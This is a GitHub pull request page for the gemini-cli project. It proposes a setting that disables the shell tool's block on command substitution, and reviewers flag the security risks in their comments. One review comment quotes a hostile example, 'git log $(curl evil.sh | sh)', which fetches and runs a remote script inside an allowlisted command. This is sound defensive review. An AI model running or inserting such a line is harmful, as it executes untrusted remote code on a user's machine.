Skip to content

feat(core): add allowCommandSubstitution toggle in settings - #27400

Open
manohar-munna wants to merge 1 commit into
google-gemini:mainfrom
manohar-munna:feat/allow-command-substitution
Open

feat(core): add allowCommandSubstitution toggle in settings#27400
manohar-munna wants to merge 1 commit into
google-gemini:mainfrom
manohar-munna:feat/allow-command-substitution

Conversation

@manohar-munna

Copy link
Copy Markdown

The current hardcoded block creates a problem: Token/turn waste. The model writes out a full command with command substitution, the CLI blocks it at execution time, and the entire turn is wasted with nothing to show for it. The model has no way to know in advance the command will be blocked.

A configurable toggle keeps the safe default for everyone while letting users who understand the risk opt out.

Summary

Add a configurable allowCommandSubstitution toggle (default: false) to let users opt out of the hardcoded command substitution block. This eliminates wasted turns where the model generates a valid command with $() syntax that gets silently blocked at execution time, burning tokens with no output.

Details

The existing block was unconditional — the model had no way to know a command would be rejected until after the turn was spent. The new setting surfaces in the settings dialog under the Security category and requires a restart. The safe default (false) is preserved for all users; only those who explicitly opt in take on the risk.

YOLO mode intentionally still respects this flag — auto-allowing command substitution in YOLO mode was considered but rejected for security reasons.

Related Issues

Closes #27393

How to Validate

  1. Leave allowCommandSubstitution unset (or false) in settings.json
  2. Run a command using $() substitution — confirm it is blocked with an error returned to the model
  3. Set allowCommandSubstitution: true in settings.json and restart
  4. Run the same command — confirm it executes successfully
  5. Confirm the toggle appears in the settings dialog under Security

Pre-Merge Checklist

  • Updated relevant documentation and README (if needed)
  • Added/updated tests (if needed)
  • Noted breaking changes (if any)
  • Validated on required platforms/methods:
    • MacOS
      • npm run
      • npx
      • Docker
      • Podman
      • Seatbelt
    • Windows
      • npm run
      • npx
      • Docker
    • Linux
      • npm run
      • npx
      • Docker

The current hardcoded block creates two problems: Token/turn waste. The model writes out a full command with command substitution, the CLI blocks it at execution time, and the entire turn is wasted with nothing to show for it. The model has no way to know in advance the command will be blocked.

A configurable toggle keeps the safe default for everyone while letting users who understand the risk opt out.
@manohar-munna
manohar-munna requested review from a team as code owners May 23, 2026 19:14
@gemini-code-assist

Copy link
Copy Markdown
Contributor

Summary of Changes

Hello, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!

This pull request adds a configurable toggle to the CLI and core settings to manage command substitution behavior. By allowing users to explicitly enable command substitution, the system avoids unnecessary token consumption caused by the model generating commands that would otherwise be silently blocked at execution time. The change preserves safe defaults while providing flexibility for advanced users.

Highlights

  • Configurable Command Substitution: Introduced a new allowCommandSubstitution setting that allows users to opt-out of the default blocking of command substitution syntax ($()) in shell tools.
  • Security and Defaults: The setting defaults to false to maintain existing security posture, with the option to enable it via the settings dialog under the Security category.
  • Token Efficiency: Reduces wasted LLM turns by allowing users to bypass the hardcoded block that previously caused execution failures after token generation.
Using Gemini Code Assist

The full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips.

Invoking Gemini

You can request assistance from Gemini at any point by creating a comment using either /gemini <command> or @gemini-code-assist <command>. Below is a summary of the supported commands on the current page.

Feature Command Description
Code Review /gemini review Performs a code review for the current pull request in its current state.
Pull Request Summary /gemini summary Provides a summary of the current pull request in its current state.
Comment @gemini-code-assist Responds in comments when explicitly tagged, both in pull request comments and review comments.
Help /gemini help Displays a list of available commands.

Customization

To customize the Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a .gemini/ folder in the base of the repository. Detailed instructions can be found here.

Limitations & Feedback

Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counterproductive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for GitHub and other Google products, sign up here.

Footnotes

  1. Review the Privacy Notices, Generative AI Prohibited Use Policy, Terms of Service, and learn how to configure Gemini Code Assist in GitHub here. Gemini can make mistakes, so double check it and use code with caution.

@github-actions

Copy link
Copy Markdown

🛑 Action Required: Evaluation Approval

Steering changes have been detected in this PR. To prevent regressions, a maintainer must approve the evaluation run before this PR can be merged.

Maintainers:

  1. Go to the Workflow Run Summary.
  2. Click the yellow 'Review deployments' button.
  3. Select the 'eval-gate' environment and click 'Approve'.

Once approved, the evaluation results will be posted here automatically.

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request introduces the allowCommandSubstitution configuration setting to control shell command substitution. Feedback highlights a security concern where the setting should only be honored in trusted folders to prevent malicious overrides. Additionally, the setting should be nested within the security object in the schema for consistency, and the implementation in the shell tool should rely on interface contracts rather than runtime type checks for better type safety.

disableAlwaysAllow:
settings.security?.disableAlwaysAllow ||
settings.admin?.secureModeEnabled,
allowCommandSubstitution: settings.allowCommandSubstitution,

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-high high

The allowCommandSubstitution setting is honored from the workspace configuration without verifying if the workspace is trusted. A malicious repository could enable this setting via a local configuration file (e.g., .gemini/settings.json), bypassing security checks in ShellTool and enabling command injection. This setting should be protected by a trustedFolder check, similar to approvalMode and extensionRegistryURI. Additionally, ensure allowCommandSubstitution is accessed from the security object in the settings schema to maintain consistency between the schema and TypeScript interfaces.

Suggested change
allowCommandSubstitution: settings.allowCommandSubstitution,
allowCommandSubstitution: trustedFolder ? settings.allowCommandSubstitution : false,
References
  1. Workspace-level configurations should be treated as untrusted by default. Security-sensitive settings must be loaded from trusted user-level configuration and should not be overridable by workspace settings unless trust is explicitly granted.
  2. Ensure that JSON schemas for configuration match the corresponding TypeScript interfaces.

Comment on lines +186 to +195
allowCommandSubstitution: {
type: 'boolean',
label: 'Allow Command Substitution',
category: 'Security',
requiresRestart: true,
default: false,
description:
'Allow command substitution (e.g., $()) in shell tool execution.',
showInDialog: true,
},

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

high

The allowCommandSubstitution setting should be nested within the security object properties rather than being a top-level setting. This maintains consistency with the existing configuration structure where security-related toggles (like toolSandboxing and disableYoloMode) are grouped together. While the category: 'Security' property handles the UI grouping in the settings dialog, the JSON structure in settings.json should also reflect this hierarchy for better maintainability and user expectation.

Comment on lines +467 to +470
const allowCommandSubstitution =
typeof this.context.config.getAllowCommandSubstitution === 'function'
? this.context.config.getAllowCommandSubstitution()
: false;

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

high

The use of typeof ... === 'function' to check for the existence of getAllowCommandSubstitution bypasses TypeScript's type safety and violates the principle of coding against the interface contract. Instead of a runtime check, the AgentLoopContext interface (or the type of this.context.config) should be updated to include this method. This ensures that any implementation of the context is forced to provide the necessary configuration, preventing silent failures if the method is renamed or missing in mocks. Other methods on the config object (like getShellToolInactivityTimeout on line 498) are called directly, so this should follow that pattern.

Suggested change
const allowCommandSubstitution =
typeof this.context.config.getAllowCommandSubstitution === 'function'
? this.context.config.getAllowCommandSubstitution()
: false;
const allowCommandSubstitution = this.context.config.getAllowCommandSubstitution();
References
  1. When consuming an object, if a property is optional in its type definition (interface), callers must handle the undefined case. Do not rely on implementation details; code against the interface contract.

@gemini-cli gemini-cli Bot added priority/p3 Backlog - a good idea but not currently a priority. area/agent Issues related to Core Agent, Tools, Memory, Sub-Agents, Hooks, Agent Quality help wanted We will accept PRs from all issues marked as "help wanted". Thanks for your support! labels May 23, 2026
@github-actions github-actions Bot added the size/s A small PR label Jun 2, 2026
: false;

if (
!allowCommandSubstitution &&

@dimssu dimssu Jun 24, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Building on the bot's security-high note on config.ts (the untrusted-workspace / trustedFolder vector), there's a second, distinct exposure worth scoping for. This is the only call site of detectCommandSubstitution, so the flag removes the guard entirely rather than relaxing it narrowly — and even for a trusted user in a trusted folder, turning it on re-opens command injection through commands that were already allowlisted or "always allowed": an approved git prefix plus git log $(curl evil.sh | sh) would auto-execute. A single global boolean is blunt for that. Consider scoping the relaxation so it doesn't apply to auto-approved/allowlisted execution, in addition to the trustedFolder gate already suggested.

requiresRestart: true,
default: false,
description:
'Allow command substitution (e.g., $()) in shell tool execution.',

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The description doesn't convey what enabling this actually does. It disables a command-injection protection — including for commands that were allowlisted or "always allowed" — which is exactly what the block's own llmContent describes as a security risk. Since this is the text users see in the settings dialog before flipping a security control, it should state the risk explicitly, e.g. "Allow command substitution ($(), backticks, <()) in shell commands. Warning: this disables a command-injection safeguard and lets substitution run inside otherwise-approved commands."

label: 'Allow Command Substitution',
category: 'Security',
requiresRestart: true,
default: false,

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

With the default false, the issue's primary motivation — token/turn waste — is unchanged for everyone who doesn't flip this. The model still emits $() commands, still gets blocked at execution time, and still has no advance signal that the command will be rejected, so the turn is still wasted. The toggle only helps users who opt fully out.

The linked issue's #1 problem is "the model has no way to know in advance the command will be blocked," and it explicitly asks that YOLO mode default to true or surface a warning so the model can adapt. This PR delivers the literal configurable toggle but doesn't address the advance-signal problem (e.g. reflecting the block in the shell tool description so the model avoids generating substitution when it's disabled), and intentionally drops the YOLO behavior. Worth confirming with maintainers whether that scope is acceptable for closing #27393.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area/agent Issues related to Core Agent, Tools, Memory, Sub-Agents, Hooks, Agent Quality help wanted We will accept PRs from all issues marked as "help wanted". Thanks for your support! priority/p3 Backlog - a good idea but not currently a priority. size/s A small PR

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Command substitution block should be user-configurable, not a hardcoded wall

2 participants